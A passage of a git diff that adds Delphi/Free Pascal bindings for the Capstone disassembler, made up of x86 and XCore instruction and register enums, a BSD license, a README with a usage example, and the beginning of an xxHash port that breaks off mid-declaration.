X86_INS_VCVTTPS2UDQ, + X86_INS_VCVTUDQ2PD, + X86_INS_VCVTUDQ2PS, + X86_INS_VDIVPD, + X86_INS_VDIVPS, + X86_INS_VDIVSD, + X86_INS_VDIVSS, + X86_INS_VDPPD, + X86_INS_VDPPS, + X86_INS_VERR, + X86_INS_VERW, + X86_INS_VEXTRACTF128, + X86_INS_VEXTRACTF32X4, + X86_INS_VEXTRACTF64X4, + X86_INS_VEXTRACTI128, + X86_INS_VEXTRACTI32X4, + X86_INS_VEXTRACTI64X4, + X86_INS_VEXTRACTPS, + X86_INS_VFMADD132PD, + X86_INS_VFMADD132PS, + X86_INS_VFMADD213PD, + X86_INS_VFMADD213PS, + X86_INS_VFMADDPD, + X86_INS_VFMADD231PD, + X86_INS_VFMADDPS, + X86_INS_VFMADD231PS, + X86_INS_VFMADDSD, + X86_INS_VFMADD213SD, + X86_INS_VFMADD132SD, + X86_INS_VFMADD231SD, + X86_INS_VFMADDSS, + X86_INS_VFMADD213SS, + X86_INS_VFMADD132SS, + X86_INS_VFMADD231SS, + X86_INS_VFMADDSUB132PD, + X86_INS_VFMADDSUB132PS, + X86_INS_VFMADDSUB213PD, + X86_INS_VFMADDSUB213PS, + X86_INS_VFMADDSUBPD, + X86_INS_VFMADDSUB231PD, + X86_INS_VFMADDSUBPS, + X86_INS_VFMADDSUB231PS, + X86_INS_VFMSUB132PD, + X86_INS_VFMSUB132PS, + X86_INS_VFMSUB213PD, + X86_INS_VFMSUB213PS, + X86_INS_VFMSUBADD132PD, + X86_INS_VFMSUBADD132PS, + X86_INS_VFMSUBADD213PD, + X86_INS_VFMSUBADD213PS, + X86_INS_VFMSUBADDPD, + X86_INS_VFMSUBADD231PD, + X86_INS_VFMSUBADDPS, + X86_INS_VFMSUBADD231PS, + X86_INS_VFMSUBPD, + X86_INS_VFMSUB231PD, + X86_INS_VFMSUBPS, + X86_INS_VFMSUB231PS, + X86_INS_VFMSUBSD, + X86_INS_VFMSUB213SD, + X86_INS_VFMSUB132SD, + X86_INS_VFMSUB231SD, + X86_INS_VFMSUBSS, + X86_INS_VFMSUB213SS, + X86_INS_VFMSUB132SS, + X86_INS_VFMSUB231SS, + X86_INS_VFNMADD132PD, + X86_INS_VFNMADD132PS, + X86_INS_VFNMADD213PD, + X86_INS_VFNMADD213PS, + X86_INS_VFNMADDPD, + X86_INS_VFNMADD231PD, + X86_INS_VFNMADDPS, + X86_INS_VFNMADD231PS, + X86_INS_VFNMADDSD, + X86_INS_VFNMADD213SD, + X86_INS_VFNMADD132SD, + X86_INS_VFNMADD231SD, + X86_INS_VFNMADDSS, + X86_INS_VFNMADD213SS, + X86_INS_VFNMADD132SS, + X86_INS_VFNMADD231SS, + X86_INS_VFNMSUB132PD, + X86_INS_VFNMSUB132PS, + X86_INS_VFNMSUB213PD, + X86_INS_VFNMSUB213PS, + X86_INS_VFNMSUBPD, + X86_INS_VFNMSUB231PD, + X86_INS_VFNMSUBPS, + X86_INS_VFNMSUB231PS, + X86_INS_VFNMSUBSD, + X86_INS_VFNMSUB213SD, + X86_INS_VFNMSUB132SD, + X86_INS_VFNMSUB231SD, + X86_INS_VFNMSUBSS, + X86_INS_VFNMSUB213SS, + X86_INS_VFNMSUB132SS, + X86_INS_VFNMSUB231SS, + X86_INS_VFRCZPD, + X86_INS_VFRCZPS, + X86_INS_VFRCZSD, + X86_INS_VFRCZSS, + X86_INS_VORPD, + X86_INS_VORPS, + X86_INS_VXORPD, + X86_INS_VXORPS, + X86_INS_VGATHERDPD, + X86_INS_VGATHERDPS, + X86_INS_VGATHERPF0DPD, + X86_INS_VGATHERPF0DPS, + X86_INS_VGATHERPF0QPD, + X86_INS_VGATHERPF0QPS, + X86_INS_VGATHERPF1DPD, + X86_INS_VGATHERPF1DPS, + X86_INS_VGATHERPF1QPD, + X86_INS_VGATHERPF1QPS, + X86_INS_VGATHERQPD, + X86_INS_VGATHERQPS, + X86_INS_VHADDPD, + X86_INS_VHADDPS, + X86_INS_VHSUBPD, + X86_INS_VHSUBPS, + X86_INS_VINSERTF128, + X86_INS_VINSERTF32X4, + X86_INS_VINSERTF64X4, + X86_INS_VINSERTI128, + X86_INS_VINSERTI32X4, + X86_INS_VINSERTI64X4, + X86_INS_VINSERTPS, + X86_INS_VLDDQU, + X86_INS_VLDMXCSR, + X86_INS_VMASKMOVDQU, + X86_INS_VMASKMOVPD, + X86_INS_VMASKMOVPS, + X86_INS_VMAXPD, + X86_INS_VMAXPS, + X86_INS_VMAXSD, + X86_INS_VMAXSS, + X86_INS_VMCALL, + X86_INS_VMCLEAR, + X86_INS_VMFUNC, + X86_INS_VMINPD, + X86_INS_VMINPS, + X86_INS_VMINSD, + X86_INS_VMINSS, + X86_INS_VMLAUNCH, + X86_INS_VMLOAD, + X86_INS_VMMCALL, + X86_INS_VMOVQ, + X86_INS_VMOVDDUP, + X86_INS_VMOVD, + X86_INS_VMOVDQA32, + X86_INS_VMOVDQA64, + X86_INS_VMOVDQA, + X86_INS_VMOVDQU16, + X86_INS_VMOVDQU32, + X86_INS_VMOVDQU64, + X86_INS_VMOVDQU8, + X86_INS_VMOVDQU, + X86_INS_VMOVHLPS, + X86_INS_VMOVHPD, + X86_INS_VMOVHPS, + X86_INS_VMOVLHPS, + X86_INS_VMOVLPD, + X86_INS_VMOVLPS, + X86_INS_VMOVMSKPD, + X86_INS_VMOVMSKPS, + X86_INS_VMOVNTDQA, + X86_INS_VMOVNTDQ, + X86_INS_VMOVNTPD, + X86_INS_VMOVNTPS, + X86_INS_VMOVSD, + X86_INS_VMOVSHDUP, + X86_INS_VMOVSLDUP, + X86_INS_VMOVSS, + X86_INS_VMOVUPD, + X86_INS_VMOVUPS, + X86_INS_VMPSADBW, + X86_INS_VMPTRLD, + X86_INS_VMPTRST, + X86_INS_VMREAD, + X86_INS_VMRESUME, + X86_INS_VMRUN, + X86_INS_VMSAVE, + X86_INS_VMULPD, + X86_INS_VMULPS, + X86_INS_VMULSD, + X86_INS_VMULSS, + X86_INS_VMWRITE, + X86_INS_VMXOFF, + X86_INS_VMXON, + X86_INS_VPABSB, + X86_INS_VPABSD, + X86_INS_VPABSQ, + X86_INS_VPABSW, + X86_INS_VPACKSSDW, + X86_INS_VPACKSSWB, + X86_INS_VPACKUSDW, + X86_INS_VPACKUSWB, + X86_INS_VPADDB, + X86_INS_VPADDD, + X86_INS_VPADDQ, + X86_INS_VPADDSB, + X86_INS_VPADDSW, + X86_INS_VPADDUSB, + X86_INS_VPADDUSW, + X86_INS_VPADDW, + X86_INS_VPALIGNR, + X86_INS_VPANDD, + X86_INS_VPANDND, + X86_INS_VPANDNQ, + X86_INS_VPANDN, + X86_INS_VPANDQ, + X86_INS_VPAND, + X86_INS_VPAVGB, + X86_INS_VPAVGW, + X86_INS_VPBLENDD, + X86_INS_VPBLENDMD, + X86_INS_VPBLENDMQ, + X86_INS_VPBLENDVB, + X86_INS_VPBLENDW, + X86_INS_VPBROADCASTB, + X86_INS_VPBROADCASTD, + X86_INS_VPBROADCASTMB2Q, + X86_INS_VPBROADCASTMW2D, + X86_INS_VPBROADCASTQ, + X86_INS_VPBROADCASTW, + X86_INS_VPCLMULQDQ, + X86_INS_VPCMOV, + X86_INS_VPCMP, + X86_INS_VPCMPD, + X86_INS_VPCMPEQB, + X86_INS_VPCMPEQD, + X86_INS_VPCMPEQQ, + X86_INS_VPCMPEQW, + X86_INS_VPCMPESTRI, + X86_INS_VPCMPESTRM, + X86_INS_VPCMPGTB, + X86_INS_VPCMPGTD, + X86_INS_VPCMPGTQ, + X86_INS_VPCMPGTW, + X86_INS_VPCMPISTRI, + X86_INS_VPCMPISTRM, + X86_INS_VPCMPQ, + X86_INS_VPCMPUD, + X86_INS_VPCMPUQ, + X86_INS_VPCOMB, + X86_INS_VPCOMD, + X86_INS_VPCOMQ, + X86_INS_VPCOMUB, + X86_INS_VPCOMUD, + X86_INS_VPCOMUQ, + X86_INS_VPCOMUW, + X86_INS_VPCOMW, + X86_INS_VPCONFLICTD, + X86_INS_VPCONFLICTQ, + X86_INS_VPERM2F128, + X86_INS_VPERM2I128, + X86_INS_VPERMD, + X86_INS_VPERMI2D, + X86_INS_VPERMI2PD, + X86_INS_VPERMI2PS, + X86_INS_VPERMI2Q, + X86_INS_VPERMIL2PD, + X86_INS_VPERMIL2PS, + X86_INS_VPERMILPD, + X86_INS_VPERMILPS, + X86_INS_VPERMPD, + X86_INS_VPERMPS, + X86_INS_VPERMQ, + X86_INS_VPERMT2D, + X86_INS_VPERMT2PD, + X86_INS_VPERMT2PS, + X86_INS_VPERMT2Q, + X86_INS_VPEXTRB, + X86_INS_VPEXTRD, + X86_INS_VPEXTRQ, + X86_INS_VPEXTRW, + X86_INS_VPGATHERDD, + X86_INS_VPGATHERDQ, + X86_INS_VPGATHERQD, + X86_INS_VPGATHERQQ, + X86_INS_VPHADDBD, + X86_INS_VPHADDBQ, + X86_INS_VPHADDBW, + X86_INS_VPHADDDQ, + X86_INS_VPHADDD, + X86_INS_VPHADDSW, + X86_INS_VPHADDUBD, + X86_INS_VPHADDUBQ, + X86_INS_VPHADDUBW, + X86_INS_VPHADDUDQ, + X86_INS_VPHADDUWD, + X86_INS_VPHADDUWQ, + X86_INS_VPHADDWD, + X86_INS_VPHADDWQ, + X86_INS_VPHADDW, + X86_INS_VPHMINPOSUW, + X86_INS_VPHSUBBW, + X86_INS_VPHSUBDQ, + X86_INS_VPHSUBD, + X86_INS_VPHSUBSW, + X86_INS_VPHSUBWD, + X86_INS_VPHSUBW, + X86_INS_VPINSRB, + X86_INS_VPINSRD, + X86_INS_VPINSRQ, + X86_INS_VPINSRW, + X86_INS_VPLZCNTD, + X86_INS_VPLZCNTQ, + X86_INS_VPMACSDD, + X86_INS_VPMACSDQH, + X86_INS_VPMACSDQL, + X86_INS_VPMACSSDD, + X86_INS_VPMACSSDQH, + X86_INS_VPMACSSDQL, + X86_INS_VPMACSSWD, + X86_INS_VPMACSSWW, + X86_INS_VPMACSWD, + X86_INS_VPMACSWW, + X86_INS_VPMADCSSWD, + X86_INS_VPMADCSWD, + X86_INS_VPMADDUBSW, + X86_INS_VPMADDWD, + X86_INS_VPMASKMOVD, + X86_INS_VPMASKMOVQ, + X86_INS_VPMAXSB, + X86_INS_VPMAXSD, + X86_INS_VPMAXSQ, + X86_INS_VPMAXSW, + X86_INS_VPMAXUB, + X86_INS_VPMAXUD, + X86_INS_VPMAXUQ, + X86_INS_VPMAXUW, + X86_INS_VPMINSB, + X86_INS_VPMINSD, + X86_INS_VPMINSQ, + X86_INS_VPMINSW, + X86_INS_VPMINUB, + X86_INS_VPMINUD, + X86_INS_VPMINUQ, + X86_INS_VPMINUW, + X86_INS_VPMOVDB, + X86_INS_VPMOVDW, + X86_INS_VPMOVMSKB, + X86_INS_VPMOVQB, + X86_INS_VPMOVQD, + X86_INS_VPMOVQW, + X86_INS_VPMOVSDB, + X86_INS_VPMOVSDW, + X86_INS_VPMOVSQB, + X86_INS_VPMOVSQD, + X86_INS_VPMOVSQW, + X86_INS_VPMOVSXBD, + X86_INS_VPMOVSXBQ, + X86_INS_VPMOVSXBW, + X86_INS_VPMOVSXDQ, + X86_INS_VPMOVSXWD, + X86_INS_VPMOVSXWQ, + X86_INS_VPMOVUSDB, + X86_INS_VPMOVUSDW, + X86_INS_VPMOVUSQB, + X86_INS_VPMOVUSQD, + X86_INS_VPMOVUSQW, + X86_INS_VPMOVZXBD, + X86_INS_VPMOVZXBQ, + X86_INS_VPMOVZXBW, + X86_INS_VPMOVZXDQ, + X86_INS_VPMOVZXWD, + X86_INS_VPMOVZXWQ, + X86_INS_VPMULDQ, + X86_INS_VPMULHRSW, + X86_INS_VPMULHUW, + X86_INS_VPMULHW, + X86_INS_VPMULLD, + X86_INS_VPMULLW, + X86_INS_VPMULUDQ, + X86_INS_VPORD, + X86_INS_VPORQ, + X86_INS_VPOR, + X86_INS_VPPERM, + X86_INS_VPROTB, + X86_INS_VPROTD, + X86_INS_VPROTQ, + X86_INS_VPROTW, + X86_INS_VPSADBW, + X86_INS_VPSCATTERDD, + X86_INS_VPSCATTERDQ, + X86_INS_VPSCATTERQD, + X86_INS_VPSCATTERQQ, + X86_INS_VPSHAB, + X86_INS_VPSHAD, + X86_INS_VPSHAQ, + X86_INS_VPSHAW, + X86_INS_VPSHLB, + X86_INS_VPSHLD, + X86_INS_VPSHLQ, + X86_INS_VPSHLW, + X86_INS_VPSHUFB, + X86_INS_VPSHUFD, + X86_INS_VPSHUFHW, + X86_INS_VPSHUFLW, + X86_INS_VPSIGNB, + X86_INS_VPSIGND, + X86_INS_VPSIGNW, + X86_INS_VPSLLDQ, + X86_INS_VPSLLD, + X86_INS_VPSLLQ, + X86_INS_VPSLLVD, + X86_INS_VPSLLVQ, + X86_INS_VPSLLW, + X86_INS_VPSRAD, + X86_INS_VPSRAQ, + X86_INS_VPSRAVD, + X86_INS_VPSRAVQ, + X86_INS_VPSRAW, + X86_INS_VPSRLDQ, + X86_INS_VPSRLD, + X86_INS_VPSRLQ, + X86_INS_VPSRLVD, + X86_INS_VPSRLVQ, + X86_INS_VPSRLW, + X86_INS_VPSUBB, + X86_INS_VPSUBD, + X86_INS_VPSUBQ, + X86_INS_VPSUBSB, + X86_INS_VPSUBSW, + X86_INS_VPSUBUSB, + X86_INS_VPSUBUSW, + X86_INS_VPSUBW, + X86_INS_VPTESTMD, + X86_INS_VPTESTMQ, + X86_INS_VPTESTNMD, + X86_INS_VPTESTNMQ, + X86_INS_VPTEST, + X86_INS_VPUNPCKHBW, + X86_INS_VPUNPCKHDQ, + X86_INS_VPUNPCKHQDQ, + X86_INS_VPUNPCKHWD, + X86_INS_VPUNPCKLBW, + X86_INS_VPUNPCKLDQ, + X86_INS_VPUNPCKLQDQ, + X86_INS_VPUNPCKLWD, + X86_INS_VPXORD, + X86_INS_VPXORQ, + X86_INS_VPXOR, + X86_INS_VRCP14PD, + X86_INS_VRCP14PS, + X86_INS_VRCP14SD, + X86_INS_VRCP14SS, + X86_INS_VRCP28PD, + X86_INS_VRCP28PS, + X86_INS_VRCP28SD, + X86_INS_VRCP28SS, + X86_INS_VRCPPS, + X86_INS_VRCPSS, + X86_INS_VRNDSCALEPD, + X86_INS_VRNDSCALEPS, + X86_INS_VRNDSCALESD, + X86_INS_VRNDSCALESS, + X86_INS_VROUNDPD, + X86_INS_VROUNDPS, + X86_INS_VROUNDSD, + X86_INS_VROUNDSS, + X86_INS_VRSQRT14PD, + X86_INS_VRSQRT14PS, + X86_INS_VRSQRT14SD, + X86_INS_VRSQRT14SS, + X86_INS_VRSQRT28PD, + X86_INS_VRSQRT28PS, + X86_INS_VRSQRT28SD, + X86_INS_VRSQRT28SS, + X86_INS_VRSQRTPS, + X86_INS_VRSQRTSS, + X86_INS_VSCATTERDPD, + X86_INS_VSCATTERDPS, + X86_INS_VSCATTERPF0DPD, + X86_INS_VSCATTERPF0DPS, + X86_INS_VSCATTERPF0QPD, + X86_INS_VSCATTERPF0QPS, + X86_INS_VSCATTERPF1DPD, + X86_INS_VSCATTERPF1DPS, + X86_INS_VSCATTERPF1QPD, + X86_INS_VSCATTERPF1QPS, + X86_INS_VSCATTERQPD, + X86_INS_VSCATTERQPS, + X86_INS_VSHUFPD, + X86_INS_VSHUFPS, + X86_INS_VSQRTPD, + X86_INS_VSQRTPS, + X86_INS_VSQRTSD, + X86_INS_VSQRTSS, + X86_INS_VSTMXCSR, + X86_INS_VSUBPD, + X86_INS_VSUBPS, + X86_INS_VSUBSD, + X86_INS_VSUBSS, + X86_INS_VTESTPD, + X86_INS_VTESTPS, + X86_INS_VUNPCKHPD, + X86_INS_VUNPCKHPS, + X86_INS_VUNPCKLPD, + X86_INS_VUNPCKLPS, + X86_INS_VZEROALL, + X86_INS_VZEROUPPER, + X86_INS_WAIT, + X86_INS_WBINVD, + X86_INS_WRFSBASE, + X86_INS_WRGSBASE, + X86_INS_WRMSR, + X86_INS_XABORT, + X86_INS_XACQUIRE, + X86_INS_XBEGIN, + X86_INS_XCHG, + X86_INS_FXCH, + X86_INS_XCRYPTCBC, + X86_INS_XCRYPTCFB, + X86_INS_XCRYPTCTR, + X86_INS_XCRYPTECB, + X86_INS_XCRYPTOFB, + X86_INS_XEND, + X86_INS_XGETBV, + X86_INS_XLATB, + X86_INS_XRELEASE, + X86_INS_XRSTOR, + X86_INS_XRSTOR64, + X86_INS_XSAVE, + X86_INS_XSAVE64, + X86_INS_XSAVEOPT, + X86_INS_XSAVEOPT64, + X86_INS_XSETBV, + X86_INS_XSHA1, + X86_INS_XSHA256, + X86_INS_XSTORE, + X86_INS_XTEST, + + X86_INS_ENDING // mark the end of the list of insn + ); + + //> Group of X86 instructions + x86_insn_group = ( + X86_GRP_INVALID = 0, // = CS_GRP_INVALID + + //> Generic groups + // all jump instructions (conditional+direct+indirect jumps) + X86_GRP_JUMP, // = CS_GRP_JUMP + // all call instructions + X86_GRP_CALL, // = CS_GRP_CALL + // all return instructions + X86_GRP_RET, // = CS_GRP_RET + // all interrupt instructions (int+syscall) + X86_GRP_INT, // = CS_GRP_INT + // all interrupt return instructions + X86_GRP_IRET, // = CS_GRP_IRET + + //> Architecture-specific groups + X86_GRP_VM = 128, // all virtualization instructions (VT-x + AMD-V) + X86_GRP_3DNOW, + X86_GRP_AES, + X86_GRP_ADX, + X86_GRP_AVX, + X86_GRP_AVX2, + X86_GRP_AVX512, + X86_GRP_BMI, + X86_GRP_BMI2, + X86_GRP_CMOV, + X86_GRP_F16C, + X86_GRP_FMA, + X86_GRP_FMA4, + X86_GRP_FSGSBASE, + X86_GRP_HLE, + X86_GRP_MMX, + X86_GRP_MODE32, + X86_GRP_MODE64, + X86_GRP_RTM, + X86_GRP_SHA, + X86_GRP_SSE1, + X86_GRP_SSE2, + X86_GRP_SSE3, + X86_GRP_SSE41, + X86_GRP_SSE42, + X86_GRP_SSE4A, + X86_GRP_SSSE3, + X86_GRP_PCLMUL, + X86_GRP_XOP, + X86_GRP_CDI, + X86_GRP_ERI, + X86_GRP_TBM, + X86_GRP_16BITMODE, + X86_GRP_NOT64BITMODE, + X86_GRP_SGX, + X86_GRP_DQI, + X86_GRP_BWI, + X86_GRP_PFI, + X86_GRP_VLX, + X86_GRP_SMAP, + X86_GRP_NOVLX, + + X86_GRP_ENDING + ); + +implementation + +end. diff --git a/Core/Capstone/CapstoneXCore.pas b/Core/Capstone/CapstoneXCore.pas new file mode 100755 index 0000000..3b94f08 --- /dev/null +++ b/Core/Capstone/CapstoneXCore.pas @@ -0,0 +1,226 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} + +unit CapstoneXCore; +{ + xcore.h +} + +interface + +type + //> Operand type for instruction's operands + xcore_op_type = ( + XCORE_OP_INVALID = 0, // = CS_OP_INVALID (Uninitialized). + XCORE_OP_REG, // = CS_OP_REG (Register operand). + XCORE_OP_IMM, // = CS_OP_IMM (Immediate operand). + XCORE_OP_MEM_ // = CS_OP_MEM (Memory operand). + ); + + // Instruction's operand referring to memory + // This is associated with XCORE_OP_MEM operand type above + xcore_op_mem = record + base: Byte; + index: Byte; + disp: Integer; + direct: Integer; + end; + + // Instruction operand + cs_xcore_op = record + _type: xcore_op_type; + case Integer of + 0: (reg: Cardinal); + 1: (imm: Integer); + 2: (mem: xcore_op_mem); + end; + + // Instruction structure + cs_xcore = record + op_count: Byte; + operands: array[0..7] of cs_xcore_op; + end; + + //> XCore registers + xcore_reg = ( + XCORE_REG_INVALID = 0, + + XCORE_REG_CP, + XCORE_REG_DP, + XCORE_REG_LR, + XCORE_REG_SP, + XCORE_REG_R0, + XCORE_REG_R1, + XCORE_REG_R2, + XCORE_REG_R3, + XCORE_REG_R4, + XCORE_REG_R5, + XCORE_REG_R6, + XCORE_REG_R7, + XCORE_REG_R8, + XCORE_REG_R9, + XCORE_REG_R10, + XCORE_REG_R11, + + //> pseudo registers + XCORE_REG_PC, // pc + + // internal thread registers + // see The-XMOS-XS1-Architecture(X7879A).pdf + XCORE_REG_SCP, // save pc + XCORE_REG_SSR, // save status + XCORE_REG_ET, // exception type + XCORE_REG_ED, // exception data + XCORE_REG_SED, // save exception data + XCORE_REG_KEP, // kernel entry pointer + XCORE_REG_KSP, // kernel stack pointer + XCORE_REG_ID, // thread ID + + XCORE_REG_ENDING // <-- mark the end of the list of registers + ); + + //> XCore instruction + xcore_insn = ( + XCORE_INS_INVALID = 0, + + XCORE_INS_ADD, + XCORE_INS_ANDNOT, + XCORE_INS_AND, + XCORE_INS_ASHR, + XCORE_INS_BAU, + XCORE_INS_BITREV, + XCORE_INS_BLA, + XCORE_INS_BLAT, + XCORE_INS_BL, + XCORE_INS_BF, + XCORE_INS_BT, + XCORE_INS_BU, + XCORE_INS_BRU, + XCORE_INS_BYTEREV, + XCORE_INS_CHKCT, + XCORE_INS_CLRE, + XCORE_INS_CLRPT, + XCORE_INS_CLRSR, + XCORE_INS_CLZ, + XCORE_INS_CRC8, + XCORE_INS_CRC32, + XCORE_INS_DCALL, + XCORE_INS_DENTSP, + XCORE_INS_DGETREG, + XCORE_INS_DIVS, + XCORE_INS_DIVU, + XCORE_INS_DRESTSP, + XCORE_INS_DRET, + XCORE_INS_ECALLF, + XCORE_INS_ECALLT, + XCORE_INS_EDU, + XCORE_INS_EEF, + XCORE_INS_EET, + XCORE_INS_EEU, + XCORE_INS_ENDIN, + XCORE_INS_ENTSP, + XCORE_INS_EQ, + XCORE_INS_EXTDP, + XCORE_INS_EXTSP, + XCORE_INS_FREER, + XCORE_INS_FREET, + XCORE_INS_GETD, + XCORE_INS_GET, + XCORE_INS_GETN, + XCORE_INS_GETR, + XCORE_INS_GETSR, + XCORE_INS_GETST, + XCORE_INS_GETTS, + XCORE_INS_INCT, + XCORE_INS_INIT, + XCORE_INS_INPW, + XCORE_INS_INSHR, + XCORE_INS_INT, + XCORE_INS_IN, + XCORE_INS_KCALL, + XCORE_INS_KENTSP, + XCORE_INS_KRESTSP, + XCORE_INS_KRET, + XCORE_INS_LADD, + XCORE_INS_LD16S, + XCORE_INS_LD8U, + XCORE_INS_LDA16, + XCORE_INS_LDAP, + XCORE_INS_LDAW, + XCORE_INS_LDC, + XCORE_INS_LDW, + XCORE_INS_LDIVU, + XCORE_INS_LMUL, + XCORE_INS_LSS, + XCORE_INS_LSUB, + XCORE_INS_LSU, + XCORE_INS_MACCS, + XCORE_INS_MACCU, + XCORE_INS_MJOIN, + XCORE_INS_MKMSK, + XCORE_INS_MSYNC, + XCORE_INS_MUL, + XCORE_INS_NEG, + XCORE_INS_NOT, + XCORE_INS_OR, + XCORE_INS_OUTCT, + XCORE_INS_OUTPW, + XCORE_INS_OUTSHR, + XCORE_INS_OUTT, + XCORE_INS_OUT, + XCORE_INS_PEEK, + XCORE_INS_REMS, + XCORE_INS_REMU, + XCORE_INS_RETSP, + XCORE_INS_SETCLK, + XCORE_INS_SET, + XCORE_INS_SETC, + XCORE_INS_SETD, + XCORE_INS_SETEV, + XCORE_INS_SETN, + XCORE_INS_SETPSC, + XCORE_INS_SETPT, + XCORE_INS_SETRDY, + XCORE_INS_SETSR, + XCORE_INS_SETTW, + XCORE_INS_SETV, + XCORE_INS_SEXT, + XCORE_INS_SHL, + XCORE_INS_SHR, + XCORE_INS_SSYNC, + XCORE_INS_ST16, + XCORE_INS_ST8, + XCORE_INS_STW, + XCORE_INS_SUB, + XCORE_INS_SYNCR, + XCORE_INS_TESTCT, + XCORE_INS_TESTLCL, + XCORE_INS_TESTWCT, + XCORE_INS_TSETMR, + XCORE_INS_START, + XCORE_INS_WAITEF, + XCORE_INS_WAITET, + XCORE_INS_WAITEU, + XCORE_INS_XOR, + XCORE_INS_ZEXT, + + XCORE_INS_ENDING // <-- mark the end of the list of instructions + ); + + //> Group of XCore instructions + xcore_insn_group = ( + XCORE_GRP_INVALID = 0, // = CS_GRP_INVALID + + //> Generic groups + // all jump instructions (conditional+direct+indirect jumps) + XCORE_GRP_JUMP, // = CS_GRP_JUMP + + XCORE_GRP_ENDING // <-- mark the end of the list of groups + ); + +implementation + +end. \ No newline at end of file diff --git a/Core/Capstone/LICENSE b/Core/Capstone/LICENSE new file mode 100755 index 0000000..1e92d05 --- /dev/null +++ b/Core/Capstone/LICENSE @@ -0,0 +1,26 @@ +Copyright (c) 2015, sa +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +* Neither the name of the developer(s) nor the names of its + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/Core/Capstone/README.md b/Core/Capstone/README.md new file mode 100755 index 0000000..a5c3040 --- /dev/null +++ b/Core/Capstone/README.md @@ -0,0 +1,61 @@ +# Capstone for Delphi + +Delphi/Free Pascal Unit to use the [Capstone Disassembler Library](http://www.capstone-engine.org/). +This Unit has been tested with Free Pascal 2.6.4 and Delphi XE3. + +I was able to compile and run the test project on Linux Debian 7.8. I used quite dated +versions of Lazarus (0.9.30.4-6) and Free Pascal (2.6.0) with no problems. + +[Sad Sam](https://0x2a.wtf/projects/sad) uses this unit to disassemble binaries. + +## License + +BSD + +## Usage + +Included is the wrapper class `TCapstone` in `Capstone.pas`. The example bellow +is incomplete, but it may give you an impression how to use it. + + uses + ..., Capstone, CapstoneCmn, CapstoneApi; + + var + disasm: TCapstone; + addr: Int64; + insn: TCsInsn; + stream: TMemoryStream; + begin + // Load the code into stream + disasm := TCapstone.Create; + try + disasm.Mode := [csm32]; + disasm.Arch := csaX86; + addr := 0; + if disasm.Open(stream.Memory, stream.Size) = CS_ERR_OK then begin + while disasm.GetNext(addr, insn) do begin + WriteLn(Format('%x %s %s', [addr, insn.mnemonic, insn.op_str])); + end; + end else begin + WriteLn('ERROR!'); + end; + finally + disasm.Free; + end; + end; + +## Compiling + +The Capstone DLL is *early bound*, so make sure it is in the applications +search path when you run it. On Windows this is preferably in the same directory +of the executeable. On Linux just compile and install the Capstone library. + +Lazarus +: To compile the Test program, open the file `test.lpi` in [Lazarus](http://www.lazarus-ide.org/) and click Start -> Compile. + +Delphi +: Open `test.dpr` or `test.dproj` in Delphi and click Compile. + +## Screenshot + +![Capstone](http://0x2a.wtf/content/projects/capstone.png "Capstone test program output") diff --git a/Core/Crypto/xxhash.pas b/Core/Crypto/xxhash.pas new file mode 100644 index 0000000..1b6dffa --- /dev/null +++ b/Core/Crypto/xxhash.pas @@ -0,0 +1,534 @@ +{**************************************************** + This file is FreePascal & Delphi port of xxHash + from origignal port by Vojtěch Čihák which was + FPC compatible only. + + by Jose Sebastian Battig + + Original copyright: + Copyright (C) 2014 Vojtěch Čihák, Czech Republic + + http://sourceforge.net/projects/xxhashfpc/files/ + + This library is free software. See the files + COPYING.modifiedLGPL.txt and COPYING.LGPL.txt, + included in this distribution, + for details about the license. +****************************************************} + +unit xxHash; +{$IFDEF FPC} +{$mode objfpc}{$H+} +{$ENDIF} + +interface + +{$IFNDEF FPC} +type + PQWord = ^QWord; + QWord = UInt64; +{$IFDEF VER180} + NativeInt = Integer; + NativeUInt = Cardinal; +{$ENDIF} +{$ENDIF} + +const + cPrime32x1: LongWord = 2654435761; + cPrime32x2: LongWord = 2246822519; + cPrime32x3: LongWord = 3266489917; + cPrime32x4: LongWord = 668265263; + cPrime32x5: LongWord = 374761393; + + cPrime64x1: QWord = 11400714785074694791; + cPrime64x2: QWord = 14029467366897019727; + cPrime64x3: QWord = 1609587929392839161; + cPrime64x4: QWord = 9650029242287828579; + cPrime64x5: QWord = 2870177450012600261; + +type + { TxxHash32 } + TxxHash32 = class + private + FBuffer: Pointer; + FMemSize: Cardinal; + FSeed: LongWord; + FTotalLength: QWord; + FV1, FV2, FV3, FV4: LongWord; + public + constructor Create(ASeed: LongWord = 0); + destructor Destroy; override; + function Digest: LongWord; + procedure Reset; + function Update(ABuffer: Pointer; ALength: Cardinal): Boolean; + property Seed: LongWord read FSeed write FSeed; + end; + + { TxxHash64 } + TxxHash64 = class + private + FBuffer: Pointer; + FMemSize: Cardinal; + FSeed: QWord; + FTotalLength: QWord; + FV1, FV2, FV3, FV4: QWord; + public + constructor Create(ASeed: QWord = 0); + destructor Destroy; override; + function Digest: QWord; + procedure Reset; + function Update(ABuffer: Pointer; ALength: LongWord): Boolean; + property Seed: QWord read FSeed write FSeed; + end; + + function xxHash32Calc(ABuffer: Pointer; ALength: LongInt; ASeed: LongWord = 0): LongWord; overload; + function xxHash32Calc(const 